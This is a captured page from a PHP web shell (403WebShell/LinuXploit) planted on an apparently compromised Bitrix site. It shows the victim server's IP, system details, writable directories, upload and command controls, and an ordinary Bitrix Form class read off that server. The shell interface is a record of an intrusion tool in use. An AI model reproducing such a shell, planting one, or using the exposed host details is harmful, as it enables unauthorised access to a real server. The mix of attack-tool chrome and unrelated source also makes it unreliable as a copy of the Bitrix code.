%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.147.36.61
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/report/lib/visualconstructor/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/report/lib/visualconstructor/form.php
<?php
namespace Bitrix\Report\VisualConstructor;

use Bitrix\Main\ArgumentException;
use Bitrix\Report\VisualConstructor\Fields\Base;
use Bitrix\Report\VisualConstructor\Fields\Html;
use Bitrix\Report\VisualConstructor\Internal\Error\Error;
use Bitrix\Report\VisualConstructor\Internal\Error\IErrorable;

/**
 * Class Form
 * @package Bitrix\Report\VisualConstructor
 */
class Form implements IErrorable
{
	private $id;
	private $name;
	private $action;
	private $method;
	private $class = array();
	private $prefix = '';
	private $postfix = '';
	private $dataAttributes = array();


	private $fields = array();

	private $errors = array();


	/**
	 * Add field to form.
	 *
	 * @param Base|mixed $field Field to add.
	 * @return $this
	 */
	public function add($field)
	{
		if (!($field instanceof Base))
		{
			$field = $this->convertToField($field);
		}

		if ($field->getKey())
		{
			$this->fields[$field->getKey()] = $field;
		}
		else
		{
			$this->fields[] = $field;
		}
		$field->setForm($this);
		return $this;
	}

	/**
	 * Add field before target field.
	 *
	 * @param Base $newField Field to add.
	 * @param Base $targetField Target field before which to add.
	 * @return void
	 */
	public function addFieldBefore($newField, $targetField)
	{
		if (!($newField instanceof Base))
		{
			$newField = $this->convertToField($newField);
		}

		$indexToInsert = null;
		$newFieldsList = array();
		foreach ($this->fields as $key => $field)
		{
			if ($field === $targetField)
			{
				$newField->setForm($this);
				if ($newField->getKey())
				{
					$newFieldsList[$newField->getKey()] = $newField;
				}
				else
				{
					$newFieldsList[] = $newField;
				}
			}
			$newFieldsList[$key] = $field;
		}

		$this->fields = $newFieldsList;
	}

	/**
	 * Add field after target field.
	 *
	 * @param Base $newField Field to add.
	 * @param Base $targetField Target field after which to add.
	 * @return void
	 */
	public function addFieldAfter($newField, $targetField)
	{
		if (!($newField instanceof Base))
		{
			$newField = $this->convertToField($newField);
		}

		$indexToInsert = null;
		$newFieldsList = array();
		foreach ($this->fields as $key => $field)
		{
			$newFieldsList[$key] = $field;
			if ($field === $targetField)
			{
				$newField->setForm($this);
				if ($newField->getKey())
				{
					$newFieldsList[$newField->getKey()] = $newField;
				}
				else
				{
					$newFieldsList[] = $newField;
				}
			}
		}

		$this->fields = $newFieldsList;

	}

	/**
	 * Try to convert to Html field.
	 * @param mixed $options String or int for convert.
	 * @return Html
	 * @throws ArgumentException
	 */
	private function convertToField($options)
	{
		if (is_string($options) || is_int($options))
		{
			return new Html($options);
		}
		else
		{
			throw new ArgumentException('Can\'t convert to form element');
		}
	}
	/**
	 * @return Base[]
	 */
	public function getFields()
	{
		return $this->fields;
	}

	/**
	 * @param string $key Unique key.
	 * @return Base|null
	 */
	public function getField($key)
	{
		static $fields;
		if (!$fields)
		{
			$fields = $this->getFields();
		}
		if (!isset($fields[$key]))
		{
			$this->errors[] = new Error('No field with key:' . $key);
			$result = null;
		}
		else
		{
			$result = $fields[$key];
		}
		return $result;
	}


	/**
	 * Collect all elements.
	 * Print form html.
	 *
	 * @return void
	 */
	public function render()
	{
		echo htmlspecialcharsbx($this->getPrefix());
		$action = $this->getAction();
		$id = $this->getId();
		$class = $this->getClass();
		$name = $this->getName();
		$dataAttributes = $this->getDataAttributes();
		$dataAttributesString = '';
		foreach ($dataAttributes as $key => $value)
		{
			$dataAttributesString .= ' data-' . $key . '="' . $value .  '" ';
		}

		$formArguments = 'action="' . (($action !== null) ? $action : '#') . '" ';
		$formArguments .= ($id !== null) ? 'id="' . $id . '" ' : '';
		$formArguments .= !empty($class) ? 'class="' . implode(' ', $class) . '" ' : '';
		$formArguments .= ($name !== null) ? 'name="' . $name . '" ' : '';
		$formArguments .= $dataAttributesString;
		echo '<form ' . $formArguments . '>';

		$fields = $this->getFields();
		foreach ($fields as $key => $field)
		{
			$field->render();
		}

		echo '</form>';

		echo htmlspecialcharsbx($this->getPostfix());
	}

	/**
	 * @return Error[]
	 */
	public function getErrors()
	{
		return $this->errors;
	}

	/**
	 * @return string
	 */
	public function getPrefix()
	{
		return $this->prefix;
	}

	/**
	 * @param string $prefix String to set as prefix of form.
	 * @return $this
	 */
	public function setPrefix($prefix)
	{
		$this->prefix = $prefix;
		return $this;
	}


	/**
	 * @return string
	 */
	public function getPostfix()
	{
		return $this->postfix;
	}

	/**
	 * @param string $postfix String to set as postfix fo form.
	 * @return Form
	 */
	public function setPostfix($postfix)
	{
		$this->postfix = $postfix;
		return $this;
	}

	/**
	 * @param string $className String to add as class name of form.
	 * @return void
	 */
	public function addClass($className)
	{
		$this->class[] = $className;
	}

	/**
	 * @return array
	 */
	public function getClass()
	{
		return $this->class;
	}

	/**
	 * @param array $class Array of strings to set as class names.
	 * @return void
	 */
	public function setClass($class)
	{
		$this->class = $class;
	}

	/**
	 * @return string
	 */
	public function getName()
	{
		return $this->name;
	}

	/**
	 * @param string $name Name value.
	 * @return void
	 */
	public function setName($name)
	{
		$this->name = $name;
	}

	/**
	 * @return string
	 */
	public function getId()
	{
		return $this->id;
	}

	/**
	 * @param string $id Id value.
	 * @return void
	 */
	public function setId($id)
	{
		$this->id = $id;
	}

	/**
	 * Action url where to ubmit form.
	 *
	 * @return string
	 */
	public function getAction()
	{
		return $this->action;
	}

	/**
	 * @param string $action Url where to send form on submit.
	 * @return $this
	 */
	public function setAction($action)
	{
		$this->action = $action;
		return $this;
	}

	/**
	 * @return string
	 */
	public function getMethod()
	{
		return $this->method;
	}

	/**
	 * @param string $method Get or post.
	 * @return $this
	 */
	public function setMethod($method)
	{
		$this->method = $method;
		return $this;
	}

	/**
	 * @return array
	 */
	public function getDataAttributes()
	{
		return $this->dataAttributes;
	}

	/**
	 * @param array $dataAttributes Data attributes key value pair array.
	 * @return $this
	 */
	public function setDataAttributes($dataAttributes)
	{
		$this->dataAttributes = $dataAttributes;
		return $this;
	}

	/**
	 * @param string $key Key for add data attribute. ('role').
	 * @param string $value Value for add data attribute. ('remove button').
	 * @return void
	 */
	public function addDataAttribute($key, $value = '')
	{
		$this->dataAttributes[$key] = $value;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit